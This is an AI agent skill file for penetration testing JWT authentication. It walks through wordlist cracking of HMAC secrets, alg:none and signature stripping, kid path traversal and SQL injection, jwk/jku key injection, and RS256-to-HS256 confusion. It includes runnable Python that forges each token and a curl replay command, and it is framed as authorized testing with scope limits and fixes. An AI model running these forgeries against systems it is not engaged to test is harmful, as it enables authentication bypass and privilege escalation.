# jwt-attacks

Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.

- **Kind:** skill
- **Source:** https://github.com/forefy/.context
- **Page:** https://forefy.com/skills/784edd5e-20ee-4329-ab37-4848cebce2f1
- **API (JSON + files):** https://forefy.com/api/asr/784edd5e-20ee-4329-ab37-4848cebce2f1

---

## SKILL.md

---
name: jwt-attacks
description: Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.
---

## Contents
- Scope & authorization
- Step 0 - locate the token and establish a baseline
- Step 1 - offline HMAC secret crack (passive)
- Step 2 - signature stripping (active)
- Step 3 - alg:none family (active)
- Step 4 - kid manipulation (active)
- Step 5 - self-signed key injection: jwk / jku (active)
- Step 6 - RS256->HS256 algorithm confusion (active)
- Runnable snippets
- Output

## Scope & authorization

Only run against an application you own or are engaged to test. The offline secret-cracking step (Step 1) is fully passive - it only analyzes a token you already captured and makes no network requests, so it is always safe to run. Every forgery step after it is active: it replays a tampered token against the live server, which mutates the authenticated session and appears in the target's logs. Do not run the active steps against third-party or out-of-scope hosts.

Inputs are the JWTs you already hold - captured from proxy history, a browser session, or an `Authorization` header the app issued to you. Outputs are "report a finding when the server accepts a token you forged."

## Step 0 - locate the token and establish a baseline

1. **Find the JWT.** In each captured request, read the `Authorization` header. Strip a leading `Bearer ` if present. A JWT is three base64url segments joined by dots (`header.payload.signature`) and the header segment almost always starts with `ey` (that is `{"` base64url-encoded). Tokens also appear in cookies and in `access_token` / `id_token` body or query params - check those too. Skip any auth header whose value does not start with `ey`; after ~3 non-JWT auth values on a host, move on.
2. **Decode it (passive).** base64url-decode segment 1 (header) and segment 2 (payload). Note `alg`, `kid`, `jku`, `jwk` in the header and `exp`, `iat`, roles/scopes/`sub` in the payload - these drive both the crack and the forgeries.
3. **Establish the rejection baseline (active).** Before forging anything, confirm the endpoint actually enforces the token: replay the request with a **deliberately invalid** token (original token with its last signature character changed) and confirm the server answers `401 Unauthorized`. Only endpoints that reject a bad token are worth attacking - if an endpoint returns 200 for garbage, it never checked the token and the "forgery accepted" signal is meaningless. Rate-limit yourself: after ~5 filtered requests that fail to return 401 to an invalid token, stop on that host.

Throughout the active steps, the finding condition is identical: **you send a token you forged (one you could never have signed legitimately) and the server responds with anything other than Unauthorized** - it verified nothing, or verified against something you control.

## Step 1 - offline HMAC secret crack (passive)

If the token uses a symmetric algorithm (`HS256` / `HS384` / `HS512`), its signature is an HMAC keyed by a server secret. A weak/default secret can be recovered offline with zero requests: for each candidate key in a wordlist, attempt to verify the captured token; the key that verifies is the server's signing secret. Once you hold it you can mint arbitrary valid tokens (any `sub`, any role, any `exp`).

Report a finding when: any candidate key successfully verifies the captured token's signature. Record the recovered key.

Starter wordlist of commonly-seen weak/default HMAC secrets (extend with the well-known `jwt.secrets.list` from the `wallarm/jwt-secrets` collection, plus app-specific strings - project name, domain, `SECRET_KEY` defaults of the framework in use):

```
secret
password
changeme
default
jwt
jwtsecret
jwt_secret
jwtSecret
your-256-bit-secret
your_jwt_secret
mysecret
supersecret
secretkey
secret_key
key
private
admin
test
qwerty
123456
0000000000000000
```

## Step 2 - signature stripping (active)

Send the token as `header.payload.` - both original segments unchanged, the signature segment emptied (trailing dot, nothing after it). This tests servers that split on `.` and only verify a signature when the third segment is non-empty. Report a finding when the server accepts the empty-signature token.

## Step 3 - alg:none family (active)

The `none` algorithm declares "unsigned"; a spec-compliant verifier must reject it on a protected endpoint. Forge an unsigned token: take the original header, set `alg`, take the original payload, and push `exp` ~12 hours into the future (so a stale-but-otherwise-valid token isn't rejected merely for expiry). Re-encode `header.payload.` with an empty signature. Try each casing variant separately - naive blocklists only match one:

- `none` (lowercase)
- `None` (title-case)
- `NONE` (upper)
- `nOnE` / `noNE` (mixed case)

Report a finding when the server accepts any casing of an unsigned token with the `alg` set to a `none` variant.

## Step 4 - kid manipulation (active)

If the header carries a `kid` (key-id), the server uses it to select the verification key - which makes it an injection point. Forge a token whose `kid` points somewhere predictable, then sign with a key you control:

- **Path traversal to a null/empty file:** set `kid` to `../../../../../../../dev/null` (and, for parsers that read a `k` field, set `k` to empty or the base64 of a null byte, `AA==`), then HMAC-sign the token with an **empty** key. If the server loads `/dev/null` as the key material, it verifies your token against an empty key - which you used - and it passes.
- **SQL-injection / other traversal targets** in `kid` (e.g. `' UNION SELECT 'known-key'--`) follow the same shape: make the key the server fetches be one you know, then sign with it.

Report a finding when the server accepts a token whose `kid` you redirected and which you signed with the resulting known/empty key.

## Step 5 - self-signed key injection: jwk / jku (active)

These attacks make the token carry (or point at) the verification key, so a server that trusts header-supplied keys will validate a token you signed with your own keypair.

- **Embedded JWK (`jwk` header).** Generate your own RSA keypair. Build a header with `alg: RS256` (force it if the original used a different family), a `kid` (reuse the original's or your public-key thumbprint), and a `jwk` object containing your public key (`kty: RSA`, `e: AQAB`, `n:` = your key's base64url modulus). Sign the token with your **private** key. A server that verifies against the inline `jwk` instead of its own trusted key will accept it.
- **jku header pointing at your JWKS.** Set `jku` to a URL you host serving a `jwks.json` that contains your public key, and sign with your private key. This is noisier (it makes the server fetch an attacker URL, leaving a callback fingerprint) - only run it where an out-of-band HTTP hit is acceptable, and prefer an in-scope collaborator/canary host. Watch for SSRF-style allowlist bypasses (`jku` host-confusion, `@`-tricks) if the server restricts the `jku` origin.

Report a finding when the server accepts a token signed by your own keypair because it trusted a key you supplied in `jwk` or fetched via `jku`.

## Step 6 - RS256->HS256 algorithm confusion (active)

When a token is RSA-signed (`RS256`/`RS384`/`RS512`), the server holds an RSA **public** key to verify it - and that public key is not secret. If the server picks its verification algorithm from the token's own `alg` header, switch `alg` to `HS256` and sign the token using the **RSA public-key PEM text as the HMAC secret**. A confused server will HMAC-verify with the public key it thinks is an RSA key - a value you also hold - and accept the token.

You need the server's public key. Obtain it from the app's JWKS endpoint (`/.well-known/jwks.json`, `/jwks`), from the TLS certificate, or reconstruct it from two captured tokens (the `rsa_sign2n` technique recovers `n` from two signatures). Then HMAC-SHA256 `header.payload` using the exact PEM bytes as the key.

Report a finding when the server accepts an `HS256` token that you signed with its RSA public key as the HMAC secret. (The source query flags this alongside `jku` tampering, ECDSA confusions, and CVE-2017-11424-style public-key confusions as high-value follow-ups to the automated checks above.)

## Runnable snippets

Passive crack (Step 1) - no network, tries a wordlist against a captured token:

```bash
python3 - "$JWT" <<'PY'
import sys, jwt
tok = sys.argv[1]
wl = ["secret","password","changeme","default","jwt","jwtsecret","jwt_secret",
      "your-256-bit-secret","mysecret","supersecret","secretkey","key","admin","test"]
for k in wl:
    try:
        jwt.decode(tok, k, algorithms=["HS256","HS384","HS512"], options={"verify_exp": False})
        print("CRACKED secret:", repr(k)); break
    except jwt.InvalidTokenError:
        pass
else:
    print("no key in wordlist matched")
PY
```

Forge the active mutations (Steps 2-6) from a captured token, then replay each against the live endpoint:

```bash
python3 - <<'PY'
import json, base64, hmac, hashlib, time, jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

TOKEN = "PASTE_CAPTURED_JWT_HERE"
b64u  = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
d64u  = lambda s: base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
h_seg, p_seg, s_seg = TOKEN.split(".")
hdr = json.loads(d64u(h_seg)); pl = json.loads(d64u(p_seg))
pl["exp"] = int(time.time()) + 12 * 3600
enc = lambda o: b64u(json.dumps(o, separators=(",", ":")).encode())

forgeries = {}

forgeries["strip"] = f"{h_seg}.{p_seg}."

for a in ("none", "None", "NONE", "nOnE"):
    forgeries[f"alg={a}"] = f"{enc({**hdr, 'alg': a})}.{enc(pl)}."

kh = {**hdr, "alg": "HS256", "kid": "../../../../../../../dev/null", "k": ""}
si = f"{enc(kh)}.{enc(pl)}"
forgeries["kid-devnull"] = si + "." + b64u(hmac.new(b"", si.encode(), hashlib.sha256).digest())

priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
nums = priv.public_key().public_numbers()
n_b64 = b64u(nums.n.to_bytes((nums.n.bit_length()+7)//8, "big"))
jwk_hdr = {**hdr, "alg": "RS256",
           "jwk": {"kty": "RSA", "use": "sig", "e": "AQAB",
                   "kid": hdr.get("kid", "poc"), "n": n_b64}}
pem = priv.private_bytes(serialization.Encoding.PEM,
                         serialization.PrivateFormat.PKCS8,
                         serialization.NoEncryption())
forgeries["jwk-inject"] = jwt.encode(pl, pem, algorithm="RS256", headers=jwk_hdr)

PUBKEY_PEM = b"-----BEGIN PUBLIC KEY-----\n...server public key...\n-----END PUBLIC KEY-----"
ch = {**hdr, "alg": "HS256"}
ci = f"{enc(ch)}.{enc(pl)}"
forgeries["rs->hs"] = ci + "." + b64u(hmac.new(PUBKEY_PEM, ci.encode(), hashlib.sha256).digest())

for name, tok in forgeries.items():
    print(name, tok)
PY
```

Replay each forged token and read the status line - anything that is not 401 on an endpoint that rejected your Step-0 invalid token is a finding:

```bash
curl -sk -o /dev/null -w '%{http_code}\n' \
  -H "Authorization: Bearer $FORGED_JWT" "https://TARGET/protected/endpoint"
```

## Output

Report per token and per endpoint:

- **JWT located** - where (header/cookie/param), its `alg`, and whether the endpoint enforced it (401 baseline confirmed).
- **Passive:** secret cracked? If yes, name the recovered key - the server's HMAC secret is fully compromised and arbitrary valid tokens can be minted.
- **Active:** for each mutation (signature-strip, alg:none casing, kid, jwk/jku, RS->HS) state accepted / rejected, with the status line the server returned to the forged token.
- **Verdict.** *Clean* - every forgery rejected with 401 and no secret cracked. *Vulnerable* - name each accepted forgery and what it grants (auth bypass, privilege escalation via a forged `role`/`sub`). Fix: pin the accepted algorithm server-side and never read `alg` from the token; reject `none`; verify only against a server-held key, never an inline `jwk`/`jku`; use a high-entropy random HMAC secret; validate `kid` against an allowlist.

State which steps ran and which did not (e.g. RS->HS skipped for lack of the public key) so coverage stays honest; never present an unrun step as clean.

